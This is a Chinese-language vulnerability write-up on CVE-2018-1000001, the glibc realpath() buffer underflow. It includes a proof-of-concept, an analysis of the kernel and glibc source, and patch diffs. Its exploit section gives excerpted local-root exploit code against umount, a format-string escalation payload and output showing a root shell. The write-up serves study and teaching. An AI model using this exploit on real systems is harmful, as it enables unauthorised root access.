# 7.1.5 [CVE–2018-1000001] glibc Buffer Underflow - [漏洞描述](#漏洞描述) - [漏洞复现](#漏洞复现) - [漏洞分析](#漏洞分析) - [Exploit](#exploit) - [参考资料](#参考资料) [下载文件](../src/exploit/7.1.5_glibc_2018-1000001) ## 漏洞描述 该漏洞涉及到 Linux 内核的 `getcwd` 系统调用和 glibc 的 `realpath()` 函数,可以实现本地提权。漏洞产生的原因是 `getcwd` 系统调用在 Linux-2.6.36 版本发生的一些变化,我们知道 `getcwd` 用于返回当前工作目录的绝对路径,但如果当前目录不属于当前进程的根目录,即从当前根目录不能访问到该目录,如该进程使用 `chroot()` 设置了一个新的文件系统根目录,但没有将当前目录的根目录替换成新目录的时候,`getcwd` 会在返回的路径前加上 `(unreachable)`。通过改变当前目录到另一个挂载的用户空间,普通用户也可以完成这样的操作。然后返回的这个非绝对地址的字符串会在 `realpath()` 函数中发生缓冲区下溢,从而导致任意代码执行,再利用 SUID 程序即可获得目标系统上的 root 权限。 ## 漏洞复现 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:64 位 | | 调试器 | gdb-peda| 版本号:7.11.1 | | 漏洞软件 | glibc | 版本号:2.23-0ubuntu9 | ```c #include #include #include #include void main() { //char *path; struct { char canary[16]; char buffer[80]; } buf; memset(buf.canary, 47, 1); // put a '/' before the buffer memset(buf.buffer, 48, sizeof(buf.buffer)); //path = getcwd(NULL, 0); //puts(path); chroot("/tmp"); //path = getcwd(NULL, 0); //puts(path); realpath("../../../../BBBB", buf.buffer); if (!strcmp(buf.canary, "/BBBB")) { puts("Vulnerable"); } else { puts("Not vulnerable"); } } ``` ``` # gcc -g poc.c # ./a.out Vulnerable ``` 执行 `realpath()` 前: ``` gdb-peda$ x/g buf.canary 0x7fffffffe4d0: 0x000000000000002f gdb-peda$ x/15gx 0x7fffffffe4d0 0x7fffffffe4d0: 0x000000000000002f 0x00000000000000c2 <-- canary 0x7fffffffe4e0: 0x3030303030303030 0x3030303030303030 <-- buffer 0x7fffffffe4f0: 0x3030303030303030 0x3030303030303030 0x7fffffffe500: 0x3030303030303030 0x3030303030303030 0x7fffffffe510: 0x3030303030303030 0x3030303030303030 0x7fffffffe520: 0x3030303030303030 0x3030303030303030 0x7fffffffe530: 0x00007fffffffe620 0x13ca8a6b7215a800 0x7fffffffe540: 0x0000000000000000 ``` 执行 `realpath()` 后: ``` gdb-peda$ x/15gx 0x7fffffffe4d0 0x7fffffffe4d0: 0x000000424242422f 0x00000000000000c2 <-- canary 0x7fffffffe4e0: 0x68636165726e7528 0x6f682f29656c6261 <-- buffer 0x7fffffffe4f0: 0x746e7562752f656d 0x6f64666c61682f75 0x7fffffffe500: 0x3030303030300067 0x3030303030303030 0x7fffffffe510: 0x3030303030303030 0x3030303030303030 0x7fffffffe520: 0x3030303030303030 0x3030303030303030 0x7fffffffe530: 0x00007fffffffe620 0x13ca8a6b7215a800 0x7fffffffe540: 0x0000000000000000 gdb-peda$ x/s 0x7fffffffe4d0 0x7fffffffe4d0: "/BBBB" gdb-peda$ x/s 0x7fffffffe4e0 0x7fffffffe4e0: "(unreachable)/home/ubuntu/halfdog" ``` 正常情况下,字符串 `\BBBB` 应该只能在 buffer 范围内进程操作,而这里它被复制到了 canary 里,也就是发生了下溢出。 ## 漏洞分析 `getcwd()` 的原型如下: ```c #include char *getcwd(char *buf, size_t size); ``` 它用于得到一个以 null 结尾的字符串,内容是当前进程的当前工作目录的绝对路径。并以保存到参数 buf 中的形式返回。 首先从 Linux 内核方面来看,在 2.6.36 版本的 [vfs: show unreachable paths in getcwd and proc](https://github.com/torvalds/linux/commit/8df9d1a4142311c084ffeeacb67cd34d190eff74) 这次提交,使得当目录不可到达时,会在返回的目录字符串前面加上 `(unreachable)`: ```c // fs/dcache.c static int prepend_unreachable(char **buffer, int *buflen) { return prepend(buffer, buflen, "(unreachable)", 13); } static int prepend(char **buffer, int *buflen, const char *str, int namelen) { *buflen -= namelen; if (*buflen < 0) return -ENAMETOOLONG; *buffer -= namelen; memcpy(*buffer, str, namelen); return 0; } /* * NOTE! The user-level library version returns a * character pointer. The kernel system call just * returns the length of the buffer filled (which * includes the ending '\0' character), or a negative * error value. So libc would do something like * * char *getcwd(char * buf, size_t size) * { * int retval; * * retval = sys_getcwd(buf, size); * if (retval >= 0) * return buf; * errno = -retval; * return NULL; * } */ SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size) { int error; struct path pwd, root; char *page = __getname(); if (!page) return -ENOMEM; rcu_read_lock(); get_fs_root_and_pwd_rcu(current->fs, &root, &pwd); error = -ENOENT; if (!d_unlinked(pwd.dentry)) { unsigned long len; char *cwd = page + PATH_MAX; int buflen = PATH_MAX; prepend(&cwd, &buflen, "\0", 1); error = prepend_path(&pwd, &root, &cwd, &buflen); rcu_read_unlock(); if (error < 0) goto out; /* Unreachable from current root */ if (error > 0) { error = prepend_unreachable(&cwd, &buflen); // 当路径不可到达时,添加前缀 if (error) goto out; } error = -ERANGE; len = PATH_MAX + page - cwd; if (len <= size) { error = len; if (copy_to_user(buf, cwd, len)) error = -EFAULT; } } else { rcu_read_unlock(); } out: __putname(page); return error; } ``` 可以看到在引进了 unreachable 这种情况后,仅仅判断返回值大于零是不够的,它并不能很好地区分开究竟是绝对路径还是不可到达路径。然而很可惜的是,glibc 就是这样做的,它默认了返回的 buf 就是绝对地址。当然也是由于历史原因,在修订 `getcwd` 系统调用之前,glibc 中的 `getcwd()` 库函数就已经写好了,于是遗留下了这个不匹配的问题。 从 glibc 方面来看,由于它仍然假设 `getcwd` 将返回绝对地址,所以在函数 `realpath()` 中,仅仅依靠 `name[0] != '/'` 就断定参数是一个相对路径,而忽略了以 `(` 开头的不可到达路径。 `__realpath()` 用于将 `path` 所指向的相对路径转换成绝对路径,其间会将所有的符号链接展开并解析 `/./`、`/../` 和多余的 `/`。然后存放到 `resolved_path` 指向的地址中,具体实现如下: ```c // stdlib/canonicalize.c char * __realpath (const char *name, char *resolved) { [...] if (name[0] != '/') // 判断是否为绝对路径 { if (!__getcwd (rpath, path_max)) // 调用 getcwd() 函数 { rpath[0] = '\0'; goto error; } dest = __rawmemchr (rpath, '\0'); } else { rpath[0] = '/'; dest = rpath + 1; } for (start = end = name; *start; start = end) // 每次循环处理路径中的一段 { [...] /* Find end of path component. */ for (end = start; *end && *end != '/'; ++end) // end 标记一段路径的末尾 /* Nothing. */; if (end - start == 0) break; else if (end - start == 1 && start[0] == '.') // 当路径为 "." 的情况时 /* nothing */; else if (end - start == 2 && start[0] == '.' && start[1] == '.') // 当路径为 ".." 的情况时 { /* Back up to previous component, ignore if at root already. */ if (dest > rpath + 1) while ((--dest)[-1] != '/'); // 回溯,如果 rpath 中没有 '/',发生下溢出 } else // 路径组成中没有 "." 和 ".." 的情况时,复制 name 到 dest { size_t new_size; if (dest[-1] != '/') *dest++ = '/'; [...] } } } ``` 当传入的 name 不是一个绝对路径,比如 `../../x`,`realpath()` 将会使用当前工作目录来进行解析,而且默认了它以 `/` 开头。解析过程是从后先前进行的,当遇到 `../` 的时候,就会跳到前一个 `/`,但这里存在一个问题,没有对缓冲区边界进行检查,如果缓冲区不是以 `/` 开头,则函数会越过缓冲区,发生溢出。所以当 `getcwd` 返回的是一个不可到达路径 `(unreachable)/` 时,`../../x` 的第二个 `../` 就已经越过了缓冲区,然后 `x` 会被复制到这个越界的地址处。 #### 补丁 漏洞发现者也给出了它自己的补丁,在发生溢出的地方加了一个判断,当 `dest == rpath` 的时候,如果 `*dest != '/'`,则说明该路径不是以 `/` 开头,便触发报错。 ```diff --- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000 +++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000 @@ -91,6 +91,11 @@ goto error; } dest = __rawmemchr (rpath, '\0'); +/* If path is empty, kernel failed in some ugly way. Realpath +has no error code for that, so die here. Otherwise search later +on would cause an underrun when getcwd() returns an empty string. +Thanks Willy Tarreau for pointing that out. */ + assert (dest != rpath); } else { @@ -118,8 +123,17 @@ else if (end - start == 2 && start[0] == '.' && start[1] == '.') { /* Back up to previous component, ignore if at root already. */ - if (dest > rpath + 1) - while ((--dest)[-1] != '/'); + dest--; + while ((dest != rpath) && (*--dest != '/')); + if ((dest == rpath) && (*dest != '/') { + /* Return EACCES to stay compliant to current documentation: + "Read or search permission was denied for a component of the + path prefix." Unreachable root directories should not be + accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */ + __set_errno (EACCES); + goto error; + } + dest++; } else { ``` 但这种方案似乎并没有被合并。 最终采用的方案是直接从源头来解决,对 `getcwd()` 返回的路径 `path` 进行检查,如果确定 `path[0] == '/'`,说明是绝对路径,返回。否则转到 `generic_getcwd()`(内部函数,源码里看不到)进行处理: ```diff $ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c index f545106289..866b9d26d5 100644 --- a/sysdeps/unix/sysv/linux/getcwd.c +++ b/sysdeps/unix/sysv/linux/getcwd.c @@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size) int retval; retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size); - if (retval >= 0) + if (retval > 0 && path[0] == '/') { #ifndef NO_ALLOCATION if (buf == NULL && size == 0) @@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size) return buf; } - /* The system call cannot handle paths longer than a page. - Neither can the magic symlink in /proc/self. Just use the + /* The system call either cannot handle paths longer than a page + or can succeed without returning an absolute path. Just use the generic implementation right away. */ - if (errno == ENAMETOOLONG) + if (retval >= 0 || errno == ENAMETOOLONG) { #ifndef NO_ALLOCATION if (buf == NULL && size == 0) ``` ## Exploit umount 包含在 util-linux 中,为方便调试,我们重新编译安装一下: ``` $ sudo apt-get install dpkg-dev automake $ sudo apt-get source util-linux $ cd util-linux-2.27.1 $ ./configure $ make && sudo make install $ file /bin/umount /bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped ``` exp 主要分成两个部分: ```c int main(int argc, char **argv) { [...] pid_t nsPid=prepareNamespacedProcess(); while(excalateCurrentAttempt=0) { umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部 } // Invoke umount first by overwriting heap downwards using links // for "down", then retriggering another error message ("busy") // with hopefully similar same stack layout for other path "/". char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL}; result=execve(umountArgs[0], umountArgs, umountEnv); } [...] int escalationPhase=0; [...] while(1) { if(escalationPhase==2) { // 阶段 2 => case 3 result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname); [...] escalationPhase++; } // Wait at most 10 seconds for IO. result=poll(pollFdList, 1, 10000); [...] // Perform the IO operations without blocking. if(pollFdList[0].revents&(POLLIN|POLLHUP)) { result=read( pollFdList[0].fd, readBuffer+readDataLength, sizeof(readBuffer)-readDataLength); [...] readDataLength+=result; // Handle the data depending on escalation phase. int moveLength=0; switch(escalationPhase) { case 0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble [...] char *preambleStart=memmem(readBuffer, readDataLength, "AAAAAAAA", 8); // 查找内存,设置 preambleStart [...] // We found, what we are looking for. Start reading the stack. escalationPhase++; // 阶段加 1 => case 1 moveLength=preambleStart-readBuffer+8; case 1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR // Consume stack data until or local array is full. while(moveLength+16<=readDataLength) { // 读取栈数据直到装满 result=sscanf(readBuffer+moveLength, "%016lx", (int*)(stackData+stackDataBytes)); [...] moveLength+=sizeof(long)*2; stackDataBytes+=sizeof(long); // See if we reached end of stack dump already. if(stackDataBytes==sizeof(stackData)) break; } if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完 break; // All data read, use it to prepare the content for the next phase. fprintf(stderr, "Stack content received, calculating next phase\n"); int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址 // This is the address, where source Pointer is pointing to. void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]]; // This is the stack address source for the target pointer. void *sourcePointerLocation=sourcePointerTarget-0xd0; void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]]; // This is the stack address of the libc start function return // pointer. void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10; fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n", sourcePointerLocation, sourcePointerTarget, targetPointerTarget, libcStartFunctionReturnAddressSource); // So the libcStartFunctionReturnAddressSource is the lowest address // to manipulate, targetPointerTarget+... void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2]; void *stackWriteData[]={ libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA], libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA] }; fprintf(stderr, "Changing return address from %p to %p, %p\n", libcStartFunctionAddress, stackWriteData[0], stackWriteData[1]); escalationPhase++; // 阶段加 1 => case 2 char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中 createStackWriteFormatString( escalationString, 1024, exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf sourcePointerTarget, // Base value to write exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ... libcStartFunctionReturnAddressSource, (unsigned short*)stackWriteData, sizeof(stackWriteData)/sizeof(unsigned short) ); fprintf(stderr, "Using escalation string %s", escalationString); result=writeMessageCatalogue( secondPhaseCataloguePathname, (char*[]){ "%s: mountpoint not found", "%s: not mounted", "%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)" }, (char*[]){ escalationString, "BBBB5678%3$s\n", "BBBBABCD%s\n"}, 3); break; case 2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中 case 3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出 // Wait for pipe connection and output any result from mount. readDataLength=0; break; [...] } if(moveLength) { memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength); readDataLength-=moveLength; } } } attemptEscalationCleanup: [...] return(escalationSuccess); } ``` 通过栈喷射在内存中放置大量的 "AANGUAGE=X.X" 环境变量,这些变量位于栈的上部,包含了大量的指针。当运行 umount 时,很可能会调用到 `realpath()` 并造成下溢。umount 调用 `setlocale` 设置 locale,接着调用 `realpath()` 检查路径的过程如下: ```c /* * Check path -- non-root user should not be able to resolve path which is * unreadable for him. */ static char *sanitize_path(const char *path) { [...] p = canonicalize_path_restricted(path); // 该函数会调用 realpath(),并返回绝对地址 [...] return p; } int main(int argc, char **argv) { [...] setlocale(LC_ALL, ""); // 设置 locale,LC_ALL 变量的值会覆盖掉 LANG 和所有 LC_* 变量的值 [...] if (all) { [...] } else if (argc < 1) { [...] } else if (alltargets) { [...] } else if (recursive) { [...] } else { while (argc--) { char *path = *argv; if (mnt_context_is_restricted(cxt) && !mnt_tag_is_valid(path)) path = sanitize_path(path); // 调用 sanitize_path 函数检查路径 rc += umount_one(cxt, path); if (path != *argv) free(path); argv++; } } mnt_free_context(cxt); return (rc < 256) ? rc : 255; } ``` ```c #include char *setlocale(int category, const char *locale); ``` ```c // util-linux/lib/canonicalize.c char *canonicalize_path_restricted(const char *path) { [...] canonical = realpath(path, NULL); [...] return canonical; } ``` 因为所布置的环境变量是错误的(正确的应为 "LANGUAGE=X.X"),程序会打印出错误信息,此时第一阶段的 message catalogue 文件被加载,里面的格式化字符串将内存 dump 到 stderr,然后正如上面所讲的设置 `restricted` 字段,并将一个 `L` 写到喷射栈中,将其中一个环境变量修改为正确的 "LANGUAGE=X.X"。 由于语言发生了改变,umount 将尝试加载另一种语言的 catalogue。此时 umount 会有一个阻塞时间用于创建一个新的 message catalogue,漏洞利用得以同步进行,然后 umount 继续执行。 更新后的格式化字符串现在包含了当前程序的所有偏移。但是堆栈中却没有合适的指针用于写入,同时因为 fprintf 必须调用相同的格式化字符串,且每次调用需要覆盖不同的内存地址,这里采用一种简化的虚拟机的做法,将每次 fprintf 的调用作为时钟,路径名的长度作为指令指针。格式化字符串重复处理的过程将返回地址从主函数转移到了 `getdate()` 和 `execl()` 两个函数中,然后利用这两个函数做 ROP。 被调用的程序文件中包含一个 shebang(即"#!"),使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限,使其变成一个 SUID 程序。当 umount 最初的调用者发现文件的权限发生了变化,它会做一定的清理并调用 SUID 二进制文件的辅助功能,即一个 SUID shell,完成提权。 Bingo!!!(需要注意的是其所支持的系统被硬编码进了利用代码中,可看情况进行修改。[exp](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c)) ``` $ gcc -g exp.c $ id uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ ls -l a.out -rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out $ ./a.out ./a.out: setting up environment ... Detected OS version: "16.04.3 LTS (Xenial Xerus)" ./a.out: using umount at "/bin/umount". No pid supplied via command line, trying to create a namespace CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection. Namespaced filesystem created with pid 7429 Attempting to gain root, try 1 of 10 ... Starting subprocess Stack content received, calculating next phase Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158 Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20 Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s Executable now root-owned Cleanup completed, re-invoking binary /proc/self/exe: invoked as SUID, invoking shell ... # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu) # ls -l a.out -rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out ``` ## 参考资料 - [LibcRealpathBufferUnderflow](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/) - https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001 - `man 3 getcwd`,`man 3 realpath`,`man mount_namespaces` - [util-linux/sys-utils/umount.c](https://github.com/karelzak/util-linux/blob/master/sys-utils/umount.c)